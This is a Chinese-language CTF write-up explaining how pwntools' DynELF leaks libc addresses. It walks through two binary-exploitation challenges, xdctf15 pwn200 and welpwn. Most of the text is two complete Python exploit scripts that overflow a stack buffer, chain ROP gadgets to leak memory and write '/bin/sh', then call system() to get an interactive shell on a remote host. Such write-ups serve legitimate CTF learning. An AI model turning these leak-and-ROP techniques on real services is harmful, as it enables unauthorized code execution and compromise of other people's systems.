DynELF
簡單來說,DynELF可以泄漏對方的libc信息
關於DynELF的原理,這個博客講的很詳細
博客:https://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html
題目1 xdctf12 pwn200
例行公事的事情就不說了
漏洞點很明顯:
爲了實現無libc,我使用了兩臺虛擬機
Linux ubuntu 4.15.0-54-generic #58~16.04.1-Ubuntu SMP Mon Jun 24 13:21:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Linux kali 4.19.0-kali5-amd64 #1 SMP Debian 4.19.37-5kali1 (2019-06-20) x86_64 GNU/Linux
其中,kali作爲服務器,ubuntu作爲攻擊機
提前說明一下
leak函數的目的是能實現無限重複的任意地址讀
且這是使用DynELF的先決條件
DynELF無法查找到 /bin/sh 字符串,所以需要將該字符串寫到一個可寫的地址段然後再使用
或者使用libcSearcher等這樣的工具直接查找 /bin/sh 的地址
但是對於這道題加上我這個兩臺機子
我失敗了
exp
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context.log_level = 'debug'
#io = process('./xdctf15 pwn200')
io = remote('192.168.95.146',10000)
length = 0x6c
elf = ELF('./xdctf15 pwn200')
write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
bin_sh = 0x804a100
main = 0x080484BE
def leak(address): #這個函數返回leak到的數據
io.recv()
payload = 'a'*0x6c+'aaaa'+p32(write_plt)+p32(main)+p32(1)+p32(address)+p32(4)
io.send(payload)
data = io.recv(4) #因爲是32位,所以只需要取四字節
log.info('%#x => %s' % (address, hex(u32((data or '')))))
return data
def write(address,string):
payload = 'a'*0x6c+'aaaa'+p32(read_plt)+p32(main)+p32(0)+p32(address)+p32(len(string))
io.send(payload)
io.send(string)
def getshell(address,bin_sh):
payload = 'a'*0x6c+'aaaa'+p32(address)+p32(0)+p32(bin_sh)
io.send(payload)
io.interactive()
d = DynELF(leak,elf=elf)
sys_addr = d.lookup('system','libc')
libc_base = d.lookup(None,'libc')
print hex(sys_addr)
#gdb.attach(io,'b *0x080484BC')
#raw_input()
write(bin_sh,'/bin/sh\x00')
print hex(bin_sh)
getshell(sys_addr,bin_sh)
題目2 welpwn
例行公事就不說了
環境與上題一樣
漏洞點同樣很明顯:
64位的棧溢出一般都需要用到ROP了吧
但是這道題的ROP鏈不好構造,因爲echo函數中,給s2賦值用的是循環,遇到0x00會停
而我們構造的數據鏈只要出現一個地址,必然會出現至少兩個的0x00,因此需要尋找巧妙的方法
在單步調試的過程中,發現main函數中的buf在棧中的地址位於s2下方32個偏移處
因此有個方法就是,構造ROP鏈時,先用 _libc_csu_init
中pop四次的ROP鏈使rsp下移32個偏移
執行完這四次的pop以後,rsp就會位於buf的32個偏移處
此時就可以按照正常的ROP走了
這道題稍微有點繞
exp
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context.log_level = 'debug'
#io = process('./welpwn')
io = remote('192.168.95.146',10000)
elf = ELF('./welpwn')
length = 16
write_plt = elf.plt['write']
write_got = elf.got['write']
read_got = elf.got['read']
pop_rbx_rbp_r12_r13_r14_r15 = 0x40089A
pop4 = 0x40089C
mov_dx_si_di = 0x400880
pop_rdi = 0x4008a3
readn = 0x400805
main = 0x4007CD
bin_sh = 0x601100
io.recv()
def leak(address):
payload = 'a'*length+'a'*8+p64(pop4)+p64(pop_rbx_rbp_r12_r13_r14_r15)
payload +=p64(0)+p64(1)+p64(write_got)
payload += p64(8)+p64(address)+p64(1)+p64(mov_dx_si_di)
payload += p64(0)*7+p64(main)
payload = payload.ljust(0x400,'C')
io.send(payload)
data = io.recv(8)
io.recv()
log.info("%#x => %s" %(address,hex(u64((data or '').ljust(8,'\x00')))))
return data
def write(address,string):
payload = 'a'*length+'a'*8+p64(pop4)+p64(pop_rbx_rbp_r12_r13_r14_r15)
payload +=p64(0)+p64(1)+p64(read_got)
payload += p64(len(string))+p64(address)+p64(0)+p64(mov_dx_si_di)
payload += p64(0)*7+p64(main)
payload = payload.ljust(0x400,'C')
io.send(payload)
io.send(string)
def getshell(address,bin_sh):
payload = 'a'*length+'a'*8+p64(pop4)+p64(pop_rbx_rbp_r12_r13_r14_r15)
payload +=p64(0)+p64(1)+p64(address)
payload += p64(0)+p64(0)+p64(bin_sh)+p64(mov_dx_si_di)
payload += p64(0)*7+p64(main)
payload = payload.ljust(0x400,'C')
io.send(payload)
#gdb.attach(io,'b *0x400814')
#raw_input()
d = DynELF(leak,elf=elf)
sys_addr = d.lookup('system','libc')
log.success("system address: "+hex(sys_addr))
#gdb.attach(io,'b *0x400793')
#raw_input()
write(bin_sh,'/bin/sh\x00'+p64(sys_addr))
getshell(bin_sh+8,bin_sh)
io.interactive()